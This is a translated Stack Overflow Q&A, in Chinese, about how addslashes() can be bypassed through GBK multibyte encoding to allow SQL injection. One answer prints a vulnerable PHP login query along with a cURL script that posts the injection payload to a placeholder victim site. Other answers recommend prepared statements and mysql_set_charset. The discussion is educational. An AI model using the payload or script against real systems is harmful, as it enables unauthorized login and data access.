PHP-通过addslashes()进行SQL注入的示例?

在PHP中,我知道mysql_real_escape比使用addslashes安全得多。但是,我找不到addslashes使SQL注入发生的情况的示例。

谁能举一些例子?

Nathan H asked 2019-11-07T11:08:14Z
4个解决方案
44 votes

好吧,这是您想要的文章。

基本上,攻击的工作方式是让0x5c在多字节字符的中间放置一个反斜杠,以使反斜杠成为有效的多字节序列的一部分而失去其含义。

本文的一般警告:

任何字符编码都可以进行这种类型的攻击,其中   存在一个以0x5c结尾的有效多字节字符,因为   addslashes()可被诱骗创建有效的多字节字符   而不是转义后面的单引号。 UTF-8不适合   这个描述。

chaos answered 2019-11-07T11:08:56Z
4 votes

克里斯·希弗莱特(Chris Shiflett)用下面的示例清楚地解释了这一点,如果在数据库中使用GBK编码时尝试一下,那当然可以。 事实证明,即使我尝试过,也有机会进行sql注入,即使它们很少,但是具有良好知识和能力的人可以轻松注入。 这是一个例子...

<?php 

       $mysql = array();
       $db = mysqli_init();
       $db->real_connect('localhost', 'myuser', 'mypass', 'mydb');

       /* SQL Injection Example */

       $_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
       $_POST['password'] = 'guess';

       $mysql['username'] = addslashes($_POST['username']);
       $mysql['password'] = addslashes($_POST['password']);

       $sql = "SELECT * FROM   users
               WHERE username = '{$mysql['username']}'
               AND password = '{$mysql['password']}'";

       $result = $db->query($sql);

       if ($result->num_rows) {
              /* Success */
       } else {
              /* Failure */
       }

?>

尽管通常将addlashes()或magic_quotes_gpc的使用视为安全,但是使用GBK会使它们几乎无用。 以下PHP cURL脚本将能够使用注入,希望这对您有所帮助:

<?php

       $url     = "http://www.victimsite.com/login.php";
       $ref     = "http://www.victimsite.com/index.php";
       $session = "PHPSESSID=abcdef01234567890abcdef01";

       $ch      = curl_init();

       curl_setopt( $ch, CURLOPT_URL,            $url     );
       curl_setopt( $ch, CURLOPT_REFERER,        $ref     );
       curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE     );
       curl_setopt( $ch, CURLOPT_COOKIE,         $session );
       curl_setopt( $ch, CURLOPT_POST,           TRUE     );
       curl_setopt( $ch, CURLOPT_POSTFIELDS,     "username=" . chr(0xbf) . chr(0x27) .
                                                 "OR 1=1/*&submit=1" );

       $data = curl_exec( $ch );

       print( $data );
       curl_close( $ch );
 ?>
ScoRpion answered 2019-11-07T11:09:29Z
3 votes

作为读者在这里的答案的补充:此MySQL错误已得到修复:)

同样,使用准备好的语句始终是一种好习惯。 这是激发查询的最无漏洞利用的方法(在某些用例中,性能最高)。 它将使您免于此缺陷。

nico gawenda answered 2019-11-07T11:10:04Z
1 votes

mysql_real_escape_string()与“ Prepared Statements”清楚地说明了mysql_real_escape_string()不是100%安全的。

使用mysql_set_charset('GBK')替换mysql_query(“ SET CHARACTER SET'GBK'”),mysql_real_escape_string()可以100%安全。

ajaxhe answered 2019-11-07T11:10:35Z
translate from https://stackoverflow.com:/questions/860954/examples-of-sql-injections-through-addslashes